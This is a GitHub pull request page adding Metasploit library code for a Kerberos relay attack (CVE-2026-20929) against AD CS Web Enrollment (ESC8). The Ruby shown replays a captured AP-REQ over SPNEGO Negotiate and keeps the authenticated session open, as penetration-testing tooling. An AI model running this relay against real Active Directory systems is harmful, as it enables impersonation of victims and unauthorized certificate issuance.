Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
21 commits
Select commit Hold shift + click to select a range
02bb347
Add Kerberos AP-REQ extractor for relay (CVE-2026-20929)
Pushpenderrathore Jul 15, 2026
87e46e0
Add GSS-SPNEGO AP-REQ forwarding for Kerberos relay
Pushpenderrathore Jul 15, 2026
41d8524
Add HTTP relay target client for Kerberos relay
Pushpenderrathore Jul 15, 2026
be7a67c
Add Kerberos relay orchestration handler
Pushpenderrathore Jul 15, 2026
d433b88
Add Kerberos relay target client factory
Pushpenderrathore Jul 15, 2026
26e29a8
Add SMB relay server client (capture side) for Kerberos relay
Pushpenderrathore Jul 15, 2026
efe47ae
Add SMB relay server for Kerberos relay
Pushpenderrathore Jul 15, 2026
b89ce07
Add ESC8 Kerberos relay target and module
Pushpenderrathore Jul 16, 2026
ee72afd
Document esc8_kerberos module
Pushpenderrathore Jul 23, 2026
c9715ff
Fix SMB2 SessionSetup bookkeeping in the Kerberos relay
Pushpenderrathore Jul 26, 2026
085d6e1
Address review findings in the Kerberos relay stack
Pushpenderrathore Jul 26, 2026
2446062
Stop a SPNEGO NegTokenResp from killing the relay thread
Pushpenderrathore Jul 26, 2026
efbdada
Fix two errors that only surface once a relay succeeds
Pushpenderrathore Aug 2, 2026
fc03491
Guard the peer-cert trace when the client exposes no connection
Pushpenderrathore Aug 13, 2026
1c9b04d
Accept RELAY_IDENTITY in DOMAIN\HOST$ or UPN form
Pushpenderrathore Aug 19, 2026
37c3021
Expand esc8_kerberos docs with the lab setup and options
Pushpenderrathore Aug 19, 2026
09820c6
Merge remote-tracking branch 'rapid7/master' into esc8-work
Pushpenderrathore Aug 19, 2026
25c8106
Use Rex::Proto::Gss::KerberosToken for AP-REQ handling
Pushpenderrathore Aug 19, 2026
5f63df6
Fix the esc8_kerberos run output and add a real capture
Pushpenderrathore Aug 19, 2026
de647a4
Address Copilot review findings on the ESC8 Kerberos relay
Pushpenderrathore Aug 20, 2026
7d32656
Listen dual-stack so IPv6-coerced relays reach the server
Pushpenderrathore Aug 26, 2026
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
314 changes: 314 additions & 0 deletions documentation/modules/auxiliary/server/relay/esc8_kerberos.md

Large diffs are not rendered by default.

2 changes: 1 addition & 1 deletion lib/msf/core/exploit/remote/http_client.rb
Original file line number Diff line number Diff line change
Expand Up @@ -423,7 +423,7 @@ def send_request_raw(opts = {}, timeout = 20, disconnect = false)

res = c.send_recv(r, actual_timeout)

if c.conn&.respond_to?(:peer_cert)
if c.respond_to?(:conn) && c.conn&.respond_to?(:peer_cert)
raw_cert = c.conn.peer_cert
if raw_cert
raw_chain = c.conn.peer_cert_chain if c.conn.respond_to?(:peer_cert_chain)
Expand Down
65 changes: 65 additions & 0 deletions lib/msf/core/exploit/remote/relay/kerberos/relay_handler.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,65 @@
# -*- coding: binary -*-
# frozen_string_literal: true

module Msf
class Exploit
class Remote
module Relay
module Kerberos
# Orchestrates relaying a captured client GSS token to a target for a
# Kerberos relay (CVE-2026-20929). Protocol-agnostic: an SMB or HTTP
# relay server client includes this and supplies the incoming security
# blob; the RubySMB/HTTP plumbing lives in the including class.
#
# This is the Kerberos counterpart to the NTLM server client's
# relay_ntlmssp, but the flow is one-shot. A captured AP-REQ is a
# complete credential, so there is no challenge/response and no
# per-identity target selection: the AP-REQ is cryptographically bound
# to the SPN the attacker coerced the victim to request, so it can only
# be relayed to the service matching that SPN.
#
# The including class must provide a +logger+ responding to
# print_status / print_good / print_warning.
module RelayHandler
# Relay an already-extracted AP-REQ to a target.
#
# This takes the AP-REQ rather than the raw GSS blob so the blob is
# parsed exactly once per authentication attempt. Deciding whether a
# blob is Kerberos at all, and falling through to NTLM when it is
# not, belongs to the caller: use
# {Rex::Proto::Gss::KerberosToken.try_extract_ap_req}, which yields
# the AP-REQ or nil in a single parse.
#
# @param ap_req [String] the captured AP-REQ as DER bytes
# @param client [Target::HTTP::Client] the connected relay target client
# @param target [Object] the relay target descriptor (for logging)
# @param relay_targets [Object, nil] notified via on_relay_end, if given
# @param listener [Object, nil] notified via on_relay_success / on_relay_failure
# @param identity [String, nil] the client principal, if already known
# @return [Msf::Exploit::Remote::Relay::Kerberos::Target::RelayResult, nil]
def relay_kerberos(ap_req, client:, target:, relay_targets: nil, listener: nil, identity: nil)
return nil if ap_req.nil?

logger.print_status("Relaying Kerberos AP-REQ to #{target}")

result = client.relay_ap_req(ap_req)
is_success = !result.nil? && result.success == true
relay_targets&.on_relay_end(target, identity: identity, is_success: is_success)

if is_success
logger.print_good("Successfully relayed Kerberos AP-REQ to #{target}")
listener&.on_relay_success(relay_connection: client, relay_identity: identity)
else
logger.print_warning("Relay of Kerberos AP-REQ to #{target} failed")
listener&.on_relay_failure(relay_connection: client)
client.disconnect!
end

result
end
end
end
end
end
end
end
39 changes: 39 additions & 0 deletions lib/msf/core/exploit/remote/relay/kerberos/target.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,39 @@
# -*- coding: binary -*-
# frozen_string_literal: true

# Kerberos relay targets (CVE-2026-20929). Mirrors the structure of the NTLM
# relay stack under {Msf::Exploit::Remote::Relay::NTLM::Target}: a relay server
# captures a client's Kerberos AP-REQ and hands it to a target here, which
# replays it to a real service via a per-protocol client.
module Msf::Exploit::Remote::Relay::Kerberos::Target
# The outcome of replaying a captured AP-REQ to a relay target.
#
# @!attribute message
# @return [Object, nil] The target's response (e.g. the HTTP response), if any.
# @!attribute success
# @return [Boolean] Whether the target accepted the relayed AP-REQ.
# @!attribute identity
# @return [String, nil] The authenticated principal, once known (the AP-REQ
# itself carries the identity encrypted, so this is filled in by the target
# flow rather than read from the AP-REQ).
RelayResult = Struct.new(:message, :success, :identity, keyword_init: true)

# Build the relay target client for a target's protocol, bound to the relay
# server connection. Mirrors the NTLM server client's create_relay_client;
# the single dispatch point new protocols (e.g. LDAP) plug into.
#
# @param provider [Object] the relay server connection (supplies the TLS context)
# @param target [Object] the relay target descriptor (its #protocol selects the client)
# @param logger [Object] receives print_* logging calls
# @param timeout [Integer] send/recv timeout (-1 for the default)
# @return [Object] a per-protocol relay target client
# @raise [ArgumentError] if the target protocol has no Kerberos relay client
def self.create_client(provider, target, logger, timeout)
case target.protocol
when :http, :https
HTTP::Client.create(provider, target, logger, timeout)
else
raise ArgumentError, "unsupported Kerberos relay target protocol: #{target.protocol}"
end
end
end
135 changes: 135 additions & 0 deletions lib/msf/core/exploit/remote/relay/kerberos/target/http/client.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,135 @@
# -*- coding: binary -*-
# frozen_string_literal: true

require 'base64'

module Msf
class Exploit
class Remote
module Relay
module Kerberos
module Target
module HTTP
# HTTP relay target for Kerberos (CVE-2026-20929). Replays a
# captured AP-REQ to a real HTTP service (e.g. AD CS Web Enrollment
# for ESC8) over a SPNEGO Negotiate exchange.
#
# Unlike NTLM, a Kerberos AP-REQ is a complete, self-contained
# credential: there is no challenge/response round-trip, so the
# relay is a single request. On success the connection is left open
# for the calling module to issue authenticated follow-up requests
# (mirroring how the NTLM ESC8 target reuses the relayed connection).
class Client
extend Forwardable

# Once the AP-REQ has been relayed, the connection is authenticated
# for its lifetime, so the calling module (e.g. the ESC8 target)
# drives follow-up requests through it as if it were an HTTP client.
# send_request_raw('client' => relay_connection) reaches these.
def_delegators :@client, :request_cgi, :request_raw

# @return [Object] the relay target descriptor (ip/port/path/protocol)
attr_reader :target

# @param client [Rex::Proto::Http::Client] the connected HTTP client
# @param target [Object] the relay target descriptor
# @param logger [Object, nil] receives print_* logging calls
# @param timeout [Integer] send/recv timeout (-1 for the default)
def initialize(client:, target:, logger: nil, timeout: -1)
@client = client
@target = target
@logger = logger
@timeout = timeout
end

# Build a target client bound to the relay server connection's TLS
# context, matching the NTLM target factory signature.
def self.create(provider, target, logger, timeout)
http_logger_subscriber = Rex::Proto::Http::HttpLoggerSubscriber.new(logger: logger)
client = Rex::Proto::Http::Client.new(
target.ip,
target.port,
provider.dispatcher.tcp_socket.context,
target.protocol == :https,
subscriber: http_logger_subscriber
)

new(client: client, target: target, logger: logger, timeout: timeout)
end

# Replay a captured AP-REQ to the target's HTTP service.
#
# @param ap_req_der [String] the captured AP-REQ as DER bytes
# @return [Msf::Exploit::Remote::Relay::Kerberos::Target::RelayResult, nil]
# the relay outcome, or nil if no HTTP response was received.
def relay_ap_req(ap_req_der)
security_blob = Rex::Proto::Gss::KerberosToken.build_spnego_ap_req(ap_req_der)

req = @client.request_raw(
'method' => 'GET',
'uri' => @target.path,
'headers' => {
'Accept-Encoding' => 'identity',
'Authorization' => "Negotiate #{Base64.strict_encode64(security_blob)}"
}
)
res = @client.send_recv(req, @timeout, true)

if res.nil?
log_error("No HTTP response received from #{@target}")
return nil
end

Msf::Exploit::Remote::Relay::Kerberos::Target::RelayResult.new(
message: res,
success: successful_status?(res.code)
)
end

# Send a follow-up request on the relayed, now-authenticated
# connection. The connection is kept persistent so the
# Kerberos-authed session stays open across the enrollment
# exchange (send_request_raw drives this with 'client' => self).
def send_recv(req, timeout = -1)
@client.send_recv(req, timeout, true)
end

# The underlying socket of the relayed connection.
#
# This class stands in for a Rex::Proto::Http::Client when it is
# passed to #send_request_raw as 'client', and that method reaches
# for the socket after every request to trace the peer certificate.
# Without this it raises NoMethodError once the relay succeeds.
#
# @return [Rex::Socket, nil]
def conn
@client.conn
end

def disconnect!
@client.close
end

protected

attr_reader :logger

# Whether an HTTP status code indicates the relayed AP-REQ was
# accepted. Configurable per target, defaulting to any 2xx.
def successful_status?(code)
expected = @target.respond_to?(:protocol_options) ? @target.protocol_options.fetch(:http_status_code, 200..299) : (200..299)
expected.is_a?(Range) ? expected.include?(code) : expected == code
end

def log_error(msg)
elog(msg)
@logger&.print_error(msg)
end
end
end
end
end
end
end
end
end
Loading
Loading